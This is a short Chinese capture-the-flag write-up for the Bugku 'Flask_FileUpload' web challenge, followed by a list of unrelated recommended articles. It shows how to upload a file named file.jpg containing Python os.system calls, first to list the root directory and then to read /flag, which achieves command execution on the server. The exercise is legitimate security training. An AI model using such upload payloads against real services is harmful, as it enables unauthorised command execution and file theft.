Bugku-web-Flask_FileUpload

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
相关推荐
zk_one几秒前
【无标题】
开发语言·前端·javascript
一名优秀的码农10 分钟前
vulhub系列-57-Thoth Tech: 1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
HAPPY酷27 分钟前
Python高级架构师之路——从原理到实战
java·python·算法
Thomas.Sir1 小时前
第十三章:RAG知识库开发之【GraphRAG 从基础到实战】
python·ai·rag·graphrag
precious。。。1 小时前
1.2.1 三角不等式演示
前端·javascript·html
一个处女座的程序猿O(∩_∩)O1 小时前
Python基础知识大全:从零开始掌握Python核心语法
开发语言·python
小陈工1 小时前
Python Web开发入门(十一):RESTful API设计原则与最佳实践——让你的API既优雅又好用
开发语言·前端·人工智能·后端·python·安全·restful
星空2 小时前
前段--A_2--HTML属性标签
前端·html
三万棵雪松2 小时前
【Linux 物联网网关主控系统-Web部分(一)】
linux·前端·嵌入式linux
deephub2 小时前
ADK 多智能体编排:SequentialAgent、ParallelAgent 与 LoopAgent 解析
人工智能·python·大语言模型·agent